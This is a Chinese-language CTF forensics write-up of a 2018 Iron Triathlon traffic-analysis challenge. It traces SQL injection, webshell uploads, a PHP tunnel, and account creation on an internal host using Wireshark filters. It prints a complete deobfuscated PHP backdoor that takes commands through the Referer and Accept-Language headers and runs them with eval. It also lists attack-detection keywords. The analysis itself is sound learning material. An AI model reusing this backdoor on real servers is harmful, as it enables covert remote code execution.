2018.5.5信息安全铁人三项赛数据赛复现
前言:
最近的學習效率不是很高,但無論在家還是學校都要學會自律,而且馬上就鐵人三項比賽了,通過復現(xiàn)一些之前的賽題進行學習。
0x01:涉及的一些協(xié)議
作用:是一種面向連接、可靠的、基于字節(jié)流的傳輸層通信協(xié)議
功能:數(shù)據(jù)包分塊、發(fā)送接收確認、超時重發(fā)、數(shù)據(jù)校驗、數(shù)據(jù)包排序、控制流量
TCP格式
連接,三次握手
斷開連接,四處揮手
3. UDP(用戶數(shù)據(jù)報協(xié)議)
4. IP (互聯(lián)網(wǎng)協(xié)議)
5. FTP(文件傳輸協(xié)議)
作用:用于網(wǎng)絡(luò)上進行文件傳輸?shù)囊惶讟藴蕝f(xié)議,使用C/S模式。屬于應(yīng)用層。
FTP一般運行在20和21兩個端口。20用于傳輸控制流
在wireshark過濾器中
ftp 只顯示命令鏈路的,沒有數(shù)據(jù)鏈路的 ftp-data 傳輸數(shù)據(jù)的鏈路 ftp-data or ftp 全部顯示作用:通過解析網(wǎng)絡(luò)層地址來尋找數(shù)據(jù)鏈路層地址,即通過IP地址定位MAC地址
7. DHCP(動態(tài)地址配置協(xié)議)
作用:用于內(nèi)部網(wǎng)絡(luò)或網(wǎng)絡(luò)服務(wù)供應(yīng)商自動分配IP地址給用戶
請求過程和報文格式
0x02:常用過濾命令
#1.過濾IP ip.addr==192.168.x.x ip.addr.eq 192.168.x.x (addr/src/dst) #2.過濾協(xié)議 http/tcp/telnet/ssh #3.過濾HTTP請求方法 http.request.method==POST(GET) #4.uri中包含eval關(guān)鍵字 http.request.uri contains eval #5.請求狀態(tài)碼為404 http.response.code==404 #6.連接符 && || and or做題技巧:
1.大量404請求-》目錄掃描 2.大量select...from關(guān)鍵字請求-》sql注入 3.連續(xù)一個ip的多端口請求或多個ip的幾個相同端口請求-》端口掃描 4.常見的關(guān)鍵字: Login、admin、manage、edit、upload、eval assert、POST、select、404、alert2018.5.5信息安全鐵人三項
#題目描述 1.黑客攻擊的第一個受害主機的網(wǎng)卡IP地址 2.黑客對URL的哪一個參數(shù)實施了SQL注入 3.第一個受害主機網(wǎng)站數(shù)據(jù)庫的表前綴(加上下劃線 例如abc_) 4.第一個受害主機網(wǎng)站數(shù)據(jù)庫的名字 5.Joomla后臺管理員的密碼是多少 6.黑客第一次獲得的php木馬的密碼是什么 7.黑客第二次上傳php木馬是什么時間 8.第二次上傳的木馬通過HTTP協(xié)議中的哪個頭傳遞數(shù)據(jù) 9.內(nèi)網(wǎng)主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) 10.php代理第一次被使用時最先連接了哪個IP地址 11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發(fā)生在什么時候 12.黑客在內(nèi)網(wǎng)主機中添加的用戶名和密碼是多少 13.黑客從內(nèi)網(wǎng)服務(wù)器中下載下來的文件名第一個數(shù)據(jù)包
一大堆的數(shù)據(jù)包,先過濾http協(xié)議查看一下
這個IP很可疑,而且也是公網(wǎng)的IP,過濾一下可靠他都訪問了哪些IP
發(fā)現(xiàn)202.1.1.2對192.168.1.8發(fā)送大量的請求(爆破),所以黑客攻擊的第一個受害主機的網(wǎng)卡IP地址192.168.1.8
繼續(xù)往下面看,發(fā)現(xiàn)在進行SQL注入,隨便拿一個追蹤數(shù)據(jù)流
所以黑客對URL的list[select]參數(shù)實施了SQL注入
在報錯信息中可以查看到網(wǎng)站數(shù)據(jù)庫的表前綴
為ajtuc_
接下來確定第一個受害主機網(wǎng)站數(shù)據(jù)庫的名字,SQL注入而且是GET方式的,肯定會在傳入的參數(shù)中留下注入的數(shù)據(jù)庫名字,再次進行過濾
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http直接查看202.1.1.2,SQL注入的最后一條請求,進行解碼
第一個受害主機網(wǎng)站數(shù)據(jù)庫的名字為Joomla
接下來查找Joomla后臺管理員的密碼是什么
http contains "password" && http.request.method==POST
過濾出兩條登陸的信息,但查看HTTP數(shù)據(jù)流發(fā)現(xiàn)都是在測試密碼,所以這里沒有密碼,一開始覺得是在第二個流量包里面,但是過濾后發(fā)現(xiàn)已經(jīng)是登陸成功了,所以既然密碼沒有在登陸出現(xiàn),就去查一下是否在SQL注入的時候給爆破出來了,就在過濾語句中添加password
查到三條數(shù)據(jù)
查看返回的報錯信息
發(fā)現(xiàn)SQL語句前面都有一個0x71717a7671,后面有一個0x71716b6b71,解碼一下
0x71717a7671 qqzvq 0x71716b6b71 qqkkq所以是前綴和后綴,去掉這些,得到
$2y$10$lXujU7XaUviJDig FMzKy6.wx7EMCBqpzrJdn7 zi/8B2QRD7qIlDJe到這一步也不知道該怎么弄了,看了飄零師傅的博客,最后是合在一起,組成密文解密即可(所以上面的報文錯誤信息就需要按順序排列)
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe這個不知道要怎么破解,破解之后應(yīng)該就是密碼了
第二個數(shù)據(jù)包
接下來查看黑客第一次獲得的php木馬的密碼是什么
這個是在第一個數(shù)據(jù)包最后面發(fā)現(xiàn)的,一個php文件,一看就不正常好吧 ,應(yīng)該不會開發(fā)人員沒事干寫個這種文件,所以應(yīng)該是木馬,追蹤一下流查看一下
但是啥也沒,所以就直接切換第二個數(shù)據(jù)包進行查看
發(fā)現(xiàn)有幾個數(shù)據(jù)包是POST /kkkaaa.php,追蹤一下流進行查看
傳入的可以解碼一下,而且服務(wù)器返回的狀態(tài)碼是200,說明是成功的
所以很明顯了php木馬的密碼是zzz
黑客第二次上傳php木馬是什么時間
發(fā)現(xiàn)一個footer.php文件,但并沒有上傳這個文件的過程,猜想是不是通過之前的木馬進行上傳的
發(fā)現(xiàn)第四個有些特別,可以查看下
解碼并進行格式化后發(fā)現(xiàn)有footer. php
但下面那一段代碼輸出后是什么,可以測試一下
var_dump($x);格式化一下
<?PHP "$kh="cb42";$kf="e130"; function x($t, $k) {$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l;) {for ($j = 0; $j < $c && $i < $l; $j++, $i++) {$o .= $t[$i] ^ $k[$j];}}return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra){$u = parse_url($rr); parse_str($u["query"], $q); $q = array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m); if ($q && $m) { @session_start(); $s = & $_SESSION; $ss = "substr"; $sl = "strtolower"; $i = $m[1][0] . $m[1][1]; $h = $sl($ss(md5($i . $kh), 0, 3)); $f = $sl($ss(md5($i . $kf), 0, 3)); $p = ""; for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]]; if (strpos($p, $h) === 0) {$s[$i] = ""; $p = $ss($p, 3); }if (array_key_exists($i, $s)) {$s[$i].= $p; $e = strpos($s[$i], $f); if ($e) {$k = $kh . $kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k))); $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), $k)); print ("<$k>$d</$k>"); @session_destroy(); }}}}"所以黑客第二次上傳php木馬時間是
17:20:44.248365000第二次上傳的木馬通過HTTP協(xié)議中的哪個頭傳遞數(shù)據(jù)
觀察木馬涉及到了這兩個與HTTP頭有關(guān)的參數(shù)
$_SERVER["HTTP_REFERER"]和$_SERVER["HTTP_ACCEPT_LANGUAGE"]查看一下上傳進去的第二個木馬
先進行過濾一下
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http查看其中的一個footer. php文件
發(fā)現(xiàn)Referer比較可疑,所以第二次上傳的木馬通過HTTP協(xié)議中Referer來傳遞數(shù)據(jù)的,一開始我是這樣做的,但這樣感覺跟猜測一樣,沒有確定的證據(jù),看了飄零師傅的題解,發(fā)現(xiàn)要先解碼
是亂碼,再看上面的木馬,有一段是這樣的,與小馬的特性有關(guān)
一個PHP混淆后門的分析
返回的是加密后的信息
所以這樣才能進行確定第二次上傳的木馬通過HTTP協(xié)議中Referer來傳遞數(shù)據(jù)的
內(nèi)網(wǎng)主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash)
注意這里是內(nèi)網(wǎng)主機,所以再用http是查不多任何結(jié)果的,使用TCP協(xié)議,上面也介紹了這種協(xié)議
tcp contains "mysql" && mysql在第二個數(shù)據(jù)包,沒有找到任何信息,查看第三個數(shù)據(jù)包也沒有發(fā)現(xiàn),看第四個
第四個數(shù)據(jù)包
發(fā)現(xiàn)192.168.1.8進行頻繁的登陸,應(yīng)該是在爆破MySQL密碼
進一步過濾,找最后一條信息,應(yīng)該就是登陸成功了
故內(nèi)網(wǎng)主機的mysql用戶名和請求連接的密碼hash是
總結(jié)一下已經(jīng)得到的信息
1.黑客攻擊的第一個受害主機的網(wǎng)卡IP地址 192.168.1.8 2.黑客對URL的哪一個參數(shù)實施了SQL注入 list[select] 3.第一個受害主機網(wǎng)站數(shù)據(jù)庫的表前綴(加上下劃線 例如abc_) ajtuc_ 4.第一個受害主機網(wǎng)站數(shù)據(jù)庫的名字 joomla 5.Joomla后臺管理員的密碼是多少 $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密) 6.黑客第一次獲得的php木馬的密碼是什么 zzz 7.黑客第二次上傳php木馬是什么時間 17:20:44.248365 8.第二次上傳的木馬通過HTTP協(xié)議中的哪個頭傳遞數(shù)據(jù) Referer 9.內(nèi)網(wǎng)主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4接下來看第10個問題
php代理第一次被使用時最先連接了哪個IP地址
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && http查看一下,發(fā)現(xiàn)又多出來一個文件
該主機已經(jīng)被掛上了tunnel.php,方便外網(wǎng)對內(nèi)網(wǎng)的訪問,所以php代理第一次被使用時最先連接了4.2.2.2
第九個數(shù)據(jù)包
黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發(fā)生在什么時候
(ip.src==202.1.1.2&&ip.dst==192.168.1.8) && (http contains "dir" && http contains "ls")如果還是這樣的過濾方法就查詢不到信息,因為這種查詢固定了src只能是202.1.1.2,不能接收來自192.168.1.8的信息,之前用這種過濾的可能還行,但更好的還是使用下面這種過濾方法:
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")發(fā)現(xiàn)了ls、dir
觀察追蹤ls的數(shù)據(jù)流,發(fā)現(xiàn)并沒有列出文件,追蹤一下dir的數(shù)據(jù)流
很明顯都列出來了,所以黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發(fā)生
而且目標系統(tǒng)為windows
黑客在內(nèi)網(wǎng)主機中添加的用戶名和密碼是多少
由上面可以知道192.168.2.20的機器可以執(zhí)行命令,所以過濾出這個IP
ip.addr == 192.168.2.20 && http
黑客利用echo命令寫入了一個名為sh.php的后門,在18:49:27.767754000時間發(fā)現(xiàn)
發(fā)現(xiàn)一條可疑數(shù)據(jù),解碼一下傳入的參數(shù)發(fā)現(xiàn)
判斷黑客應(yīng)該是執(zhí)行了net user的命令,再往下面看發(fā)現(xiàn)
在18:50:42.908737000 時間時間出現(xiàn)了一個kaka用戶
分析一下
說明就在這期間,黑客設(shè)置了管理員,下面就過濾下查詢
所以添加用戶名和密碼一定就在這之間
結(jié)果在18:49:48.830665000時間找到了添加用戶的信息
解碼發(fā)現(xiàn),添加了kaka用戶,而且密碼也為kaka
故黑客在內(nèi)網(wǎng)主機中添加的用戶名和密碼均是kaka
最后查詢一下黑客從內(nèi)網(wǎng)服務(wù)器中下載下來的文件名是什么?
ip.src == 192.168.2.20 && http contains "install"如果黑客請求了,192.168.2.20這個IP一定會返回響應(yīng)的信息,過濾后查到了
看了飄零師傅的題解,既然是下載,應(yīng)該就是利用中國菜刀進行下載,那只過濾出post流量,查看命令即可
直接查找最后一條信息
解碼發(fā)現(xiàn)也是這個文件,所以可以確定黑客下載的就是這個文件
答案匯總
1.黑客攻擊的第一個受害主機的網(wǎng)卡IP地址 192.168.1.8 2.黑客對URL的哪一個參數(shù)實施了SQL注入 list[select] 3.第一個受害主機網(wǎng)站數(shù)據(jù)庫的表前綴(加上下劃線 例如abc_) ajtuc_ 4.第一個受害主機網(wǎng)站數(shù)據(jù)庫的名字 joomla 5.Joomla后臺管理員的密碼是多少 $2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密) 6.黑客第一次獲得的php木馬的密碼是什么 zzz 7.黑客第二次上傳php木馬是什么時間 17:20:44.248365 8.第二次上傳的木馬通過HTTP協(xié)議中的哪個頭傳遞數(shù)據(jù) Referer 9.內(nèi)網(wǎng)主機的mysql用戶名和請求連接的密碼hash是多少(用戶:密碼hash) admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4 10.php代理第一次被使用時最先連接了哪個IP地址 4.2.2.2 11.黑客第一次獲取到當前目錄下的文件列表的漏洞利用請求發(fā)生在什么時候 18:37:38.482420 12.黑客在內(nèi)網(wǎng)主機中添加的用戶名和密碼是多少 kaka:kaka 13.黑客從內(nèi)網(wǎng)服務(wù)器中下載下來的文件名 lsass.exe_180208_185247.dmp總結(jié)
做完感覺挺有意思的,有些地方?jīng)]有想到就看看飄零師傅的題解,師傅實在tql,像師傅學習!
總結(jié)
以上是生活随笔為你收集整理的2018.5.5信息安全铁人三项赛数据赛复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。